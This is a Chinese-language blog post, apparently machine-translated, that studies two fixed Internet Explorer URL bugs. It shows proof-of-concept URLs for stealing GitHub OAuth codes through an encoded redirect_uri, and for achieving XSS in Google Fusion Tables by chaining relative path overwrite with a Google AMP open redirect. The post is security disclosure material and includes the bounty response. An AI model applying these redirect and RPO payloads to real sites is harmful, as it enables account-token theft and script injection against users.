RPO漏洞學習

Internet Explorer存在URL問題

處理URL很容易搞砸。有時，應用程序的URL驗證中的輕微不許確可能會致使輕微問題，或者若是瀏覽器混淆了漏洞則會致使漏洞。此次，將介紹與Internet Explorer有問題的URL重定向相關的兩個錯誤，帖子的後半部分將介紹一種有趣的RPO開發技術

GitHub OAuth Code Theft

URL編碼或百分號編碼一般用於查詢字符串或請求正文中。主機名也接受URL編碼。可是，當Internet Explorer重定向到URL編碼的主機名時，會發生奇怪的事情。例如，若是您使用Windows 7 / 8.1上的Internet Explorer 11與其餘瀏覽器訪問如下連接，您會發現目標徹底不一樣：

https://httpbin.org/redirect-to?url=http://%77%77%77%2E%6D%69%63%72%6F%73%6F%66%74%2E%63%6F%6D/test

HTTP/1.1 302 Found
location: http://%77%77%77%2E%6D%69%63%72%6F%73%6F%66%74%2E%63%6F%6D/test

• Redirected URL for Internet Explorer: http://www.microsoft.com9crosoft.com/test
• Redirected URL for other browsers: http://www.microsoft.com/test

謝爾蓋·博布羅夫（Sergey Bobrov）發現了這種奇怪的行爲，MichałBentkowski發現了一個相似的錯誤。基本上，Internet Explorer以某種方式使用URL編碼值覆蓋部分URL解碼值，並將它們混合在一塊兒。而後最終目的地指向原始目的地之外的其餘目的地。該錯誤彷佛在Windows 10上的Internet Explorer 11中獲得修復，但在Windows 7 / 8.1上仍然不適用於Internet Explorer 11.

不管如何，重要的是，若是重定向接受URL編碼的主機名，則有可能將用戶重定向到意外的網站。

有趣的是，在GitHub的OAuth受權頁面中，redirect_uri參數接受帶有URL編碼主機名的URL。例如，GitHub Gist應該只接受https://gist.github.com/auth/github/callback/做爲回調URL，可是https：//％2567％2569％2573％2574.github.com / auth / github / callback /也被接受。可是，若是咱們直接將上述URL用做redirect_uri，則Location頭中的值與預期的值沒有差異（保持解碼狀態）。緣由是GitHub在進一步處理以前規範化了redirect_uri。真正的魔法發生在三重編碼時（即https：//%252567%252569%252573%252574.github.com/auth/github/callback/）。經過這樣作，驗證遞歸地規範化URL，並認爲它與配置的回調URL匹配，而單一編碼在Location頭中。

PoC:
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2F%2567%2569%2573%2574.github.com%2Fauth%2Fgithub%2Fcallback&response_type=code

HTTP/1.1 302 Found
location: https://%67%69%73%74.github.com/auth/github/callback/?code={{$CODE}}

• Redirected URL for Internet Explorer: https://gist.github.comthub.com/auth/github/callback?code={{$CODE}}
• Redirected URL for other browsers: http://gist.github.com/auth/github/callback?code={{$CODE}}

如您所見，IE上的最終目的地指向未註冊的域gist.github.comthub.com。因爲Gist是全部GitHub賬戶的預先批准的應用程序，所以訪問PoC連接的任何用戶都會將代碼泄露給擁有該域的攻擊者。固然，它也會影響其餘應用程序。

GitHub經過遞歸規範化Location頭中的值來修復bug。

References:

Original report from HackerOne
GitHub's summary to this bug

RPO in Google Fusion Table

在URL規範化期間，將處理指示目錄遍歷的模式。這些包括點斜槓（./）和點 - 斜槓（../）。例如，foo /./ bar，foo / baz /../ bar和foo / baz /％2e％2e / bar（編碼點）將在請求甚至從瀏覽器發送以前標準化爲foo / bar。您能夠將鼠標懸停在如下兩個連接上，並注意它們指向瀏覽器狀態欄中的相同URI。 https://exapmle.com/foo/%2e%2e/bar和https://exapmle.com/bar。請注意，可是對於foo /..% 2fbar（編碼斜槓）不是這樣，由於..％2fbar能夠是文件名。 https://exapmle.com/foo/..%2Fbar。

毫無疑問，Internet Explorer再次發生了奇怪的事情（儘管如此，Edge也受到了影響）。當重定向到路徑包含URL編碼的點 - 斜槓的URL時，發送到服務器的請求將與地址欄顯示的請求略有不一樣。

據推測，當瀏覽器看到http://example.com/foo/bar.jsp;/%2e%2e/%2e%2e/1337時，會發送一條http://example.com/1337請求到服務器，地址欄也會顯示http://example.com/1337。可是，在Internet Explorer中，地址欄仍會顯示http://example.com/1337，但請求http://example.com/foo/bar.jsp;/%2e%2e/%2e%2e/ 1337將按原樣發送。若是服務器忽略尾隨路徑（例如路徑參數），則此差別容許顯示具備任意路徑的頁面。

這是有趣的部分。能夠在絕對URL或相對URL中導入外部腳本文件。使用相對URL時，文件的目錄將相對於加載頁面的路徑。不少網站使用相對路徑，並無任何問題。事實上，Google Fusion Table就是其中之一。

惟一錯誤的是Google Fusion Table接受的路徑參數。導航到https://www.google.com/fusiontables/DataSource和https://www.google.com/fusiontables/DataSource;/foo/bar/%2e%2e/baz顯示的內容徹底相同。這與IE錯誤相結合，使咱們可以使用咱們所需的路徑加載Google Fusion Table，從而加載導入腳本的路徑。若是有可能在Google域上上傳JavaScript文件或存在Open Redirect，則能夠導入咱們的惡意腳本。幸運的是，Google AMP是一款開放式重定向器。在非移動設備上訪問https://www.google.com/amp/example.com/path將重定向到https://example.com/path。如今，咱們能夠在https://www.google.com/amp/innerht.ml中加載Google Fusion Table，而後導入https://www.google.com/amp/innerht.ml/js/gvizchart_all_js.js ，最終目的地爲https://innerht.ml/js/gvizchart_all_js.js.

Voila! XSS via RPO it is.

Hi,

Thanks again for your report.

Very nice bug! We were able to convert this to full working XSS exploit in IE11. The panel has decided to issue reward a of $6000 total ($5000 for XSS vulnerability in www.google.com + $1000 bonus for cool bug and novel approach) and you should receive the normal reward information email soon.

谷歌經過將許多產品移動到專用子域並刪除對路徑參數的支持來修復此類錯誤。

References:

本文還記錄了IE漏洞的一些RPO開發技術，若是您想深刻了解RPO，必須閱讀這些技術。

原文連接